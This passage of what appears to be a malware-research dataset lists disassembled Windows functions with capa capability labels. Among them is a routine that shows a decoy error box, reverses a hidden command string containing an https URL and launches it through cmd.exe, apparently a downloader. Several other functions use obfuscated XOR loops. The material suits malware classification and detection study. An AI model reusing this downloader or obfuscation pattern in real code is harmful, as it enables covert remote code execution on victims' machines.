joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006ce00
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x30
cmp byte [rcx + 0x4b], 0
mov rbp, rcx
je 0x14006cfd1
mov qword [rsp + 0x58], rbx
lea rax, [rcx + 2]
mov qword [rsp + 0x28], rsi
mov rdx, 0xfffffffffffffffb
mov qword [rsp + 0x20], rdi
sub rdx, rcx
mov qword [rsp + 0x18], r12
mov r8, 0xfffffffffffffffc
mov qword [rsp + 0x10], r13
sub r8, rcx
mov qword [rsp + 8], r14
mov r13, 0xfffffffffffffffa
sub r13, rcx
mov qword [rsp], r15
mov r15, rcx
mov qword [rsp + 0x48], rdx
mov r12d, 1
mov qword [rsp + 0x50], r8
sub r12, rcx
mov r14, 0xfffffffffffffffe
mov rcx, 0xfffffffffffffffd
not r15
sub rcx, rbp
movabs r9, 0xc94b2db3b5a3bf4d
mov qword [rsp + 0x40], rcx
sub r14, rbp
nop dword [rax]
nop word [rax + rax]
lea ecx, [r14 + rax]
mov rsi, r9
and cl, 7
mov rdi, r9
shl cl, 3
mov rbx, r9
shr rsi, cl
mov r11, r9
xor byte [rax - 2], sil
lea ecx, [r15 + rax]
xor byte [rax + 6], sil
and cl, 7
xor byte [rax + 0xe], sil
mov r10, r9
xor byte [rax + 0x16], sil
shl cl, 3
shr rdi, cl
movzx ecx, al
xor byte [rax - 1], dil
sub cl, bpl
xor byte [rax + 7], dil
and cl, 7
xor byte [rax + 0xf], dil
shl cl, 3
shr rbx, cl
lea ecx, [r12 + rax]
xor byte [rax], bl
and cl, 7
xor byte [rax + 8], bl
xor byte [rax + 0x10], bl
shl cl, 3
shr r11, cl
lea ecx, [rax + r13]
xor byte [rax + 1], r11b
and cl, 7
xor byte [rax + 9], r11b
xor byte [rax + 0x11], r11b
shl cl, 3
shr r10, cl
lea ecx, [rdx + rax]
xor byte [rax + 2], r10b
and cl, 7
xor byte [rax + 0xa], r10b
movabs rdx, 0xc94b2db3b5a3bf4d
xor byte [rax + 0x12], r10b
shl cl, 3
shr r9, cl
lea ecx, [r8 + rax]
xor byte [rax + 3], r9b
and cl, 7
xor byte [rax + 0xb], r9b
mov r8, rdx
xor byte [rax + 0x13], r9b
movabs r9, 0xc94b2db3b5a3bf4d
shl cl, 3
shr r8, cl
movzx ecx, al
add cl, byte [rsp + 0x40]
xor byte [rax + 4], r8b
and cl, 7
xor byte [rax + 0xc], r8b
xor byte [rax + 0x14], r8b
mov r8, qword [rsp + 0x50]
shl cl, 3
shr rdx, cl
xor byte [rax + 5], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0x15], dl
add rax, 0x19
mov rdx, qword [rsp + 0x48]
lea rcx, [rax + r14]
cmp rcx, 0x4b
jb 0x14006cea0
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
mov byte [rbp + 0x4b], 0
add rsp, 0x30
pop rbp
ret
Function at 0x14006cfe0
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x30
cmp byte [rcx + 0x5f], 0
mov rbp, rcx
je 0x14006d19a
mov qword [rsp + 0x58], rbx
lea rax, [rcx + 2]
mov qword [rsp + 0x28], rsi
mov rdx, 0xfffffffffffffffb
mov qword [rsp + 0x20], rdi
sub rdx, rcx
mov qword [rsp + 0x18], r12
mov r8, 0xfffffffffffffffc
mov qword [rsp + 0x10], r13
sub r8, rcx
mov qword [rsp + 8], r14
mov r13, 0xfffffffffffffffa
sub r13, rcx
mov qword [rsp], r15
mov r15, rcx
mov qword [rsp + 0x48], rdx
mov r12d, 1
mov qword [rsp + 0x50], r8
sub r12, rcx
mov r14, 0xfffffffffffffffe
mov rcx, 0xfffffffffffffffd
not r15
sub rcx, rbp
movabs r9, 0x8d8f017d7d7f3d23
mov qword [rsp + 0x40], rcx
sub r14, rbp
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + r14]
mov rsi, r9
and cl, 7
mov rdi, r9
shl cl, 3
mov rbx, r9
shr rsi, cl
mov r11, r9
xor byte [rax - 2], sil
lea ecx, [rax + r15]
xor byte [rax + 6], sil
and cl, 7
xor byte [rax + 0xe], sil
mov r10, r9
shl cl, 3
shr rdi, cl
movzx ecx, al
xor byte [rax - 1], dil
sub cl, bpl
xor byte [rax + 7], dil
and cl, 7
xor byte [rax + 0xf], dil
shl cl, 3
shr rbx, cl
lea ecx, [rax + r12]
xor byte [rax], bl
and cl, 7
xor byte [rax + 8], bl
xor byte [rax + 0x10], bl
shl cl, 3
shr r11, cl
lea ecx, [rax + r13]
xor byte [rax + 1], r11b
and cl, 7
xor byte [rax + 9], r11b
shl cl, 3
shr r10, cl
lea ecx, [rax + rdx]
xor byte [rax + 2], r10b
and cl, 7
xor byte [rax + 0xa], r10b
movabs rdx, 0x8d8f017d7d7f3d23
shl cl, 3
shr r9, cl
lea ecx, [rax + r8]
xor byte [rax + 3], r9b
and cl, 7
xor byte [rax + 0xb], r9b
mov r8, rdx
shl cl, 3
movabs r9, 0x8d8f017d7d7f3d23
shr r8, cl
xor byte [rax + 4], r8b
xor byte [rax + 0xc], r8b
movzx ecx, byte [rsp + 0x40]
mov r8, qword [rsp + 0x50]
add cl, al
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [rax + 5], dl
xor byte [rax + 0xd], dl
add rax, 0x13
mov rdx, qword [rsp + 0x48]
lea rcx, [r14 + rax]
cmp rcx, 0x5f
jb 0x14006d080
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
mov byte [rbp + 0x5f], 0
add rsp, 0x30
pop rbp
ret
Function at 0x14006d1a0
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x30
cmp byte [rcx + 0x55], 0
mov rbp, rcx
je 0x14006d353
mov qword [rsp + 0x58], rbx
lea rax, [rcx + 2]
mov qword [rsp + 0x28], rsi
mov rdx, 0xfffffffffffffffb
mov qword [rsp + 0x20], rdi
sub rdx, rcx
mov qword [rsp + 0x18], r12
mov r8, 0xfffffffffffffffc
mov qword [rsp + 0x10], r13
sub r8, rcx
mov qword [rsp + 8], r14
mov r13, 0xfffffffffffffffa
sub r13, rcx
mov qword [rsp], r15
mov r15, rcx
mov qword [rsp + 0x48], rdx
mov r12d, 1
mov qword [rsp + 0x50], r8
sub r12, rcx
mov r14, 0xfffffffffffffffe
mov rcx, 0xfffffffffffffffd
not r15
sub rcx, rbp
movabs r9, 0xdfafb5419f490ddb
mov qword [rsp + 0x40], rcx
sub r14, rbp
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + r14]
mov rsi, r9
and cl, 7
mov rdi, r9
shl cl, 3
mov rbx, r9
shr rsi, cl
mov r11, r9
xor byte [rax - 2], sil
lea ecx, [rax + r15]
xor byte [rax + 6], sil
and cl, 7
xor byte [rax + 0xe], sil
mov r10, r9
shl cl, 3
shr rdi, cl
movzx ecx, al
xor byte [rax - 1], dil
sub cl, bpl
xor byte [rax + 7], dil
and cl, 7
shl cl, 3
shr rbx, cl
lea ecx, [rax + r12]
xor byte [rax], bl
and cl, 7
xor byte [rax + 8], bl
shl cl, 3
shr r11, cl
lea ecx, [rax + r13]
xor byte [rax + 1], r11b
and cl, 7
xor byte [rax + 9], r11b
shl cl, 3
shr r10, cl
lea ecx, [rax + rdx]
xor byte [rax + 2], r10b
and cl, 7
xor byte [rax + 0xa], r10b
movabs rdx, 0xdfafb5419f490ddb
shl cl, 3
shr r9, cl
lea ecx, [rax + r8]
xor byte [rax + 3], r9b
and cl, 7
xor byte [rax + 0xb], r9b
mov r8, rdx
shl cl, 3
movabs r9, 0xdfafb5419f490ddb
shr r8, cl
xor byte [rax + 4], r8b
xor byte [rax + 0xc], r8b
movzx ecx, byte [rsp + 0x40]
mov r8, qword [rsp + 0x50]
add cl, al
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [rax + 5], dl
xor byte [rax + 0xd], dl
add rax, 0x11
mov rdx, qword [rsp + 0x48]
lea rcx, [r14 + rax]
cmp rcx, 0x55
jb 0x14006d240
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
mov byte [rbp + 0x55], 0
add rsp, 0x30
pop rbp
ret
Function at 0x14006d460
Capabilities:
Encode data using xor

Disassembly:
push rbp
sub rsp, 0x30
cmp byte [rcx + 0x55], 0
mov rbp, rcx
je 0x14006d613
mov qword [rsp + 0x58], rbx
lea rax, [rcx + 2]
mov qword [rsp + 0x28], rsi
mov rdx, 0xfffffffffffffffb
mov qword [rsp + 0x20], rdi
sub rdx, rcx
mov qword [rsp + 0x18], r12
mov r8, 0xfffffffffffffffc
mov qword [rsp + 0x10], r13
sub r8, rcx
mov qword [rsp + 8], r14
mov r13, 0xfffffffffffffffa
sub r13, rcx
mov qword [rsp], r15
mov r15, rcx
mov qword [rsp + 0x48], rdx
mov r12d, 1
mov qword [rsp + 0x50], r8
sub r12, rcx
mov r14, 0xfffffffffffffffe
mov rcx, 0xfffffffffffffffd
not r15
sub rcx, rbp
movabs r9, 0x7d0149afab056bdd
mov qword [rsp + 0x40], rcx
sub r14, rbp
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax + r14]
mov rsi, r9
and cl, 7
mov rdi, r9
shl cl, 3
mov rbx, r9
shr rsi, cl
mov r11, r9
xor byte [rax - 2], sil
lea ecx, [rax + r15]
xor byte [rax + 6], sil
and cl, 7
xor byte [rax + 0xe], sil
mov r10, r9
shl cl, 3
shr rdi, cl
movzx ecx, al
xor byte [rax - 1], dil
sub cl, bpl
xor byte [rax + 7], dil
and cl, 7
shl cl, 3
shr rbx, cl
lea ecx, [rax + r12]
xor byte [rax], bl
and cl, 7
xor byte [rax + 8], bl
shl cl, 3
shr r11, cl
lea ecx, [rax + r13]
xor byte [rax + 1], r11b
and cl, 7
xor byte [rax + 9], r11b
shl cl, 3
shr r10, cl
lea ecx, [rax + rdx]
xor byte [rax + 2], r10b
and cl, 7
xor byte [rax + 0xa], r10b
movabs rdx, 0x7d0149afab056bdd
shl cl, 3
shr r9, cl
lea ecx, [rax + r8]
xor byte [rax + 3], r9b
and cl, 7
xor byte [rax + 0xb], r9b
mov r8, rdx
shl cl, 3
movabs r9, 0x7d0149afab056bdd
shr r8, cl
xor byte [rax + 4], r8b
xor byte [rax + 0xc], r8b
movzx ecx, byte [rsp + 0x40]
mov r8, qword [rsp + 0x50]
add cl, al
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [rax + 5], dl
xor byte [rax + 0xd], dl
add rax, 0x11
mov rdx, qword [rsp + 0x48]
lea rcx, [r14 + rax]
cmp rcx, 0x55
jb 0x14006d500
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x58]
mov byte [rbp + 0x55], 0
add rsp, 0x30
pop rbp
ret
Function at 0x14008da60
Capabilities:
Encode data using xor

Disassembly:
mov r9, r8
xor r11d, r11d
mov r10, rdx
mov r8d, r11d
cmp r9, 8
jb 0x14008da97
mov rdx, r9
shr rdx, 3
imul rax, rdx, 0xfffffffffffffff8
add r9, rax
mov rax, qword [rcx]
add rcx, 8
xor rax, qword [r10]
add r10, 8
or r8, rax
sub rdx, 1
jne 0x14008da80
mov rdx, r8
shr rdx, 0x20
or edx, r8d
mov r8d, edx
mov eax, edx
shr r8d, 8
or r8d, edx
shr eax, 0x10
and r8d, 0xff00
or r8d, eax
movzx eax, dl
shr r8d, 8
or r8d, eax
test r9, r9
je 0x14008db88
sub rcx, r10
cmp r9, 8
jb 0x14008db69
mov rax, r9
lea rdx, [r10 + 4]
and rax, 0xfffffffffffffff8
xorps xmm4, xmm4
xorps xmm3, xmm3
nop dword [rax + rax]
movd xmm2, dword [rcx + rdx - 4]
xorps xmm0, xmm0
movd xmm1, dword [rdx - 4]
lea rdx, [rdx + 8]
punpcklbw xmm2, xmm0
add r11, 8
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
movd xmm1, dword [rdx - 8]
punpcklbw xmm1, xmm0
orps xmm4, xmm2
movd xmm2, dword [rcx + rdx - 8]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
xorps xmm2, xmm1
orps xmm3, xmm2
cmp r11, rax
jb 0x14008daf0
orps xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
orps xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
orps xmm3, xmm0
movd eax, xmm3
or r8d, eax
cmp r11, r9
jae 0x14008db88
add r10, r11
sub r9, r11
nop
movzx edx, byte [rcx + r10]
movzx eax, byte [r10]
lea r10, [r10 + 1]
xor edx, eax
or r8d, edx
sub r9, 1
jne 0x14008db70
test r8d, r8d
sete al
ret
Function at 0x14008db90
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rdx
test r9, r9
je 0x14008dd34
cmp r9, 4
jb 0x14008dbda
mov rdx, r9
shr rdx, 2
imul rax, rdx, 0xfffffffffffffffc
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [r10]
add r10, 4
xor eax, dword [r8]
add r8, 4
mov dword [rcx], eax
add rcx, 4
sub rdx, 1
jne 0x14008dbc0
xor r11d, r11d
test r9, r9
je 0x14008dd34
cmp r9, 8
jb 0x14008dd0d
lea rdx, [rcx - 1]
lea rax, [r8 - 1]
add rdx, r9
add rax, r9
cmp rcx, rax
ja 0x14008dc0c
cmp rdx, r8
jae 0x14008dd0d
lea rax, [r10 - 1]
add rax, r9
cmp rcx, rax
ja 0x14008dc21
cmp rdx, r10
jae 0x14008dd0d
mov rdx, r10
mov qword [rsp + 0x10], rbx
sub rdx, r8
mov qword [rsp], rdi
cmp r9, 0x40
jb 0x14008dcc7
mov rdi, r9
mov qword [rsp + 0x18], rsi
and edi, 0x3f
mov rsi, r9
sub rsi, rdi
mov rbx, rcx
lea rax, [r8 + 0x10]
sub rbx, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r11, 0x40
movdqu xmm1, xmmword [rdx + rax - 0x10]
movdqu xmm2, xmmword [rdx + rax]
lea rax, [rax + 0x40]
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
xorps xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rdx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
xorps xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rdx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
xorps xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r11, rsi
jb 0x14008dc60
mov rsi, qword [rsp + 0x18]
cmp rdi, 8
jb 0x14008dcff
mov rbx, r9
and rbx, 0xfffffffffffffff8
mov rdi, rcx
lea rax, [r11 + r8]
sub rdi, r8
nop dword [rax + rax]
movq xmm1, qword [rax + rdx]
add r11, 8
movq xmm0, qword [rax]
lea rax, [rax + 8]
xorps xmm1, xmm0
movq qword [rax + rdi - 8], xmm1
cmp r11, rbx
jb 0x14008dce0
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp r11, r9
jae 0x14008dd34
sub r10, r8
lea rdx, [r11 + r8]
sub rcx, r8
sub r9, r11
nop word [rax + rax]
movzx eax, byte [rdx + r10]
xor al, byte [rdx]
mov byte [rdx + rcx], al
lea rdx, [rdx + 1]
sub r9, 1
jne 0x14008dd20
add rsp, 8
ret

Function at 0x140092ee8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140092f6c
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400b5b60]
cmp byte [rcx + rax], 0
je 0x140092f6c
dec r8
sub rdx, 1
jne 0x140092f52
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14009478c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400947d6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400947d6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400947d6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400947d6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400947d6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400947d8
xor al, al
add rsp, 0x28
ret
Function at 0x1400024fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002546
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002546
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002546
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002546
cmp dword [rcx + 0x84], 0xe
jbe 0x140002546
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002548
xor al, al
add rsp, 0x28
ret

Function at 0x140002454
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000249e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000249e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000249e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000249e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000249e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400024a0
xor al, al
add rsp, 0x28
ret
Function at 0x2825613f0
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xe0
mov r9d, 0x10
lea r8, str.Unknown_error
xor ecx, ecx
movabs rax, 0x63255c662e657865
movabs rdx, 0x2626257075626c69
mov qword [rsp + 0x30], rax
lea rbx, [rsp + 0x30]
movabs rax, 0x6d656f7574203135
mov qword [rsp + 0x38], rdx
movabs rdx, 0x2e65786526267469
mov qword [rsp + 0x40], rax
movabs rax, 0x75626c6963255c66
mov qword [rsp + 0x48], rdx
movabs rdx, 0x6174696f6e202570
mov qword [rsp + 0x50], rax
movabs rax, 0x202d64657374696e
mov qword [rsp + 0x58], rdx
movabs rdx, 0x3d416741444e6827
mov qword [rsp + 0x60], rax
movabs rax, 0x6337383f68617368
mov qword [rsp + 0x68], rdx
movabs rdx, 0x31353033312f646f
mov qword [rsp + 0x70], rax
movabs rax, 0x70702e636f6d2f33
mov qword [rsp + 0x78], rdx
movabs rdx, 0x2e6865726f6b7561
mov qword [rsp + 0x80], rax
movabs rax, 0x3133663337363039
mov qword [rsp + 0x88], rdx
movabs rdx, 0x6f6e312d38663439
mov qword [rsp + 0x90], rax
movabs rax, 0x2f626f7466757369
mov qword [rsp + 0x98], rdx
movabs rdx, 0x2768747470733a2f
mov qword [rsp + 0xa0], rax
movabs rax, 0x2d736f7572636520
mov qword [rsp + 0xa8], rdx
movabs rdx, 0x72616e7366657220
mov qword [rsp + 0xb0], rax
movabs rax, 0x72742d6269747374
mov qword [rsp + 0xb8], rdx
movabs rdx, 0x655e6c6c20737461
mov qword [rsp + 0xc0], rax
movabs rax, 0x6f775e65725e7368
mov qword [rsp + 0xc8], rdx
lea rdx, str.The_data_is_invalid_
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], 0x2f632070
mov byte [rsp + 0xdc], 0
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov r11, rax
lea eax, [rax - 1]
test eax, eax
jle 0x2825615d1
movsxd rdx, eax
mov rcx, rbx
add rdx, rbx
nop dword [rax + rax]
movzx r8d, byte [rcx]
movzx r10d, byte [rdx]
add rcx, 1
sub rdx, 1
mov byte [rcx - 1], r10b
mov r10d, eax
sub eax, 1
mov byte [rdx + 1], r8b
mov r8d, r11d
sub r8d, r10d
cmp eax, r8d
jg 0x2825615a8
mov dword [rsp + 0x28], 0
mov r9, rbx
lea r8, str.cmd.exe
xor ecx, ecx
mov qword [rsp + 0x20], 0
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
add rsp, 0xe0
pop rbx
ret

Function at 0x2825617b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2825624b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.2825624b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x282561820
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x282568064]
mov r12, rcx
test ebx, ebx
jle 0x282561950
mov rax, qword [0x282568068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x28256186c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x2825618f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x282561850
mov rcx, r12
call fcn.282561fa0
mov rsi, rax
test rax, rax
je 0x282561972
mov rax, qword [0x282568068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.2825620d0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x282568068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x282561957
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2825618ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x282561900
add dword [0x282568064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x282568068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2825618ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.2825617b0
nop dword [rax]
xor ebx, ebx
jmp 0x282561877
mov rax, qword [0x282568068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.2825617b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.2825617b0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x282561c10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x2825680a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x282568080]
test rbx, rbx
je 0x282561c64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x282561c5b
test r12, r12
je 0x282561c5b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x282561c40
lea rcx, [0x2825680a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x282561fa0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x282564f80]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x282561fc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x282561fc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x282561fc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x282562015
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x28256200c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x282561fc0
add rax, 0x28
cmp rax, r9
jne 0x282561ff8
xor eax, eax
ret

Function at 0x282562020
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x282564f80]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x282562040
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x282562048
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x282562040
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x2825620d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x282564f80]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x2825620f0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x2825620f8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140026020
Capabilities:
Encode data using xor

Disassembly:
test r8d, r8d
je 0x140026121
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
nop
push r11
mov qword [rsp], rsi
sub rsp, 0x20
xchg r13, rdi
mov qword [rsp + 0x30], r13
xchg r13, rdi
xchg rbp, rdx
mov rbx, rbp
xchg rdx, rbp
xchg rdi, rcx
mov rcx, rdi
xchg rdi, rcx
mov esi, r8d
sub rdi, rdx
xchg rbp, rcx
mov rcx, rbp
xchg rcx, rbp
add rdi, 0xf0
dec rsi
shr rsi, 4
inc rsi
nop dword [rax]
xchg r13, rbx
movups xmm0, xmmword [r13]
xchg r13, rbx
xchg rbp, r8
mov rdx, r8
xchg r8, rbp
xchg rsi, rcx
mov rsi, rbx
xchg rsi, rcx
call fcn.1400267f0
mov ecx, 0x1dca17c4
xor ecx, 0x19d5e142
add ecx, 0xdff90d1
xor ecx, 0x424aac2b
sub ecx, 0x4b63f8df
sub ecx, 0x4f1328d
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x1400260d0
sub rdi, 0x10
xchg rdx, rbp
movups xmmword [rdx + 0xf0], xmm0
xchg rdx, rbp
sub rsi, 1
jne 0x14002607e
mov rdi, qword [rsp + 0x30]
xchg rbx, r8
mov r8, qword [rsp + 0x38]
xchg r8, rbx
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
nop
add rsp, 8
xchg qword [rsp - 8], rsi
nop
add rsp, 8
jmp qword [rsp - 8]

Function at 0x140026130
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
nop
mov qword [rsp - 8], rdi
sub rsp, 8
sub rsp, 0x20
mov edi, r8d
xchg rbx, r13
mov r13, rdx
xchg rbx, r13
lea r9, [rcx + 0xf0]
mov rsi, rcx
test r8d, r8d
je 0x1400261fa
dec rdi
shr rdi, 4
inc rdi
nop dword [rax]
nop word [rax + rax]
mov rax, rbx
sub r9, rbx
mov edx, 0x44ae7177
sub edx, 0x26c481f9
xor edx, 0x4dc7b962
xor edx, 0x1ef84b8b
sub edx, 0x44ed37b4
xor edx, 0x7d82e8db
sub edx, 0x746a0d28
nop dword [rax + rax]
movzx ecx, byte [r9 + rax]
xor byte [rax], cl
lea rax, [rax + 1]
sub rdx, 1
jne 0x1400261b7
xchg r14, rsi
mov rdx, r14
xchg r14, rsi
xchg r12, rbx
mov rcx, r12
xchg rbx, r12
